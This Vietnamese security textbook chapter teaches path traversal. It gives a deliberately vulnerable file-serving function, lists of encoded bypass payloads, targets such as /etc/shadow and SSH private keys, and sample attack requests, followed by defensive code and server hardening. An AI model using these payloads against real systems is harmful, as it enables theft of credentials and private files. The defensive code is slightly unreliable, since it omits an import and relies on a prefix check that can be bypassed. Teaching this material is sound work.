Chương 18: Path Traversal
Khái niệm
Path Traversal (Directory Traversal — Duyệt thư mục) là lỗ hổng cho phép hacker đọc (đôi khi ghi) files ngoài thư mục được phép bằng cách dùng sequences như ../ để leo ra khỏi intended directory.
Mức độ nguy hiểm: Cao — Đọc /etc/passwd, config files, private keys, source code.
Cách hoạt động
# Vulnerable code: load ảnh theo filename từ user
def serve_image(filename):
path = f"/var/www/app/images/{filename}"
return open(path, 'rb').read()
# Normal: filename = "profile.jpg"
# Path: /var/www/app/images/profile.jpg → OK
# Attack: filename = "../../../etc/passwd"
# Path: /var/www/app/images/../../../etc/passwd
# Resolved: /etc/passwd → lộ!
Bypass Techniques
Basic
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd URL encoded
..%252F..%252Fetc%252Fpasswd Double URL encoded
....//....//etc/passwd (khi filter strip ../)
..././..././etc/passwd (khi filter strip ../)
/etc/passwd Absolute path
Null Byte (PHP <= 5.3.4)
../../../etc/passwd%00.jpg
→ Null byte truncate: path = /etc/passwd (bỏ .jpg)
Encode Variations
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
%2e./ → ../
.%2e/ → ./
%252e%252e%252f → ../ (double encoded)
..%c0%af → ../ (overlong UTF-8)
..%c1%9c → ../ (overlong UTF-8)
Target Files
# Linux
/etc/passwd # Usernames, shells
/etc/shadow # Password hashes
/etc/hosts # Hostname mapping
/proc/self/environ # Environment variables
/proc/self/cmdline # Process command line
~/.ssh/id_rsa # SSH private key
/var/log/apache2/access.log # Access logs
/var/log/nginx/error.log # Error logs
/etc/nginx/nginx.conf # Nginx config
/app/.env # App environment variables
/var/www/html/config.php # PHP config
# Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
..\..\..\Windows\win.ini # Windows path separator
Kịch bản tấn công
Target: App cho phép download reports theo filename
GET /api/download?file=report_2024.pdf
Attack:
GET /api/download?file=../../../../etc/passwd
Nếu bị filter:
GET /api/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
GET /api/download?file=....//....//....//....//etc/passwd
Phòng chống
import os
from pathlib import Path
def serve_file_safe(filename: str, base_dir: str = '/var/www/app/uploads'):
# Validate: chỉ alphanumeric, dot, dash, underscore
if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
raise ValueError("Invalid filename")
# Resolve real path
base = Path(base_dir).resolve()
requested = (base / filename).resolve()
# Verify file là con của base directory
if not str(requested).startswith(str(base)):
raise ValueError("Path traversal detected")
if not requested.exists():
raise FileNotFoundError("File not found")
return requested.read_bytes()
# Hoặc dùng os.path
def is_safe_path(base_dir, requested_path):
base = os.path.realpath(base_dir)
resolved = os.path.realpath(os.path.join(base_dir, requested_path))
return resolved.startswith(base)
Góc nhìn DevOps
Nginx: chroot-like file serving:
# Nginx alias thay vì root — hạn chế path
location /downloads/ {
alias /var/uploads/;
# Chỉ serve certain file types
location ~* \.(pdf|xlsx|csv)$ {
add_header Content-Disposition "attachment";
}
# Block mọi thứ khác
location ~ {
return 403;
}
}
Container: Read-only filesystem:
securityContext:
readOnlyRootFilesystem: true # Root FS read-only
# Nếu có path traversal, không ghi được file
Tóm tắt
- Path traversal:
../để thoát khỏi thư mục mục tiêu. - Bypass: URL encoding, double encoding, null byte, stripped sequence bypass.
- Phòng chống: validate filename, check resolved path nằm trong base directory.
- Lưu files bên ngoài webroot và không dùng user input trực tiếp làm filename.
Câu hỏi ôn tập
- Tại sao filter đơn giản loại bỏ
../không đủ để phòng chống path traversal? - Null byte attack hoạt động như thế nào với path traversal?
- Làm thế nào để verify đường dẫn file nằm trong thư mục được phép?
- Trên Windows, path traversal có gì khác so với Linux?
realpath()giúp gì trong việc phòng chống path traversal?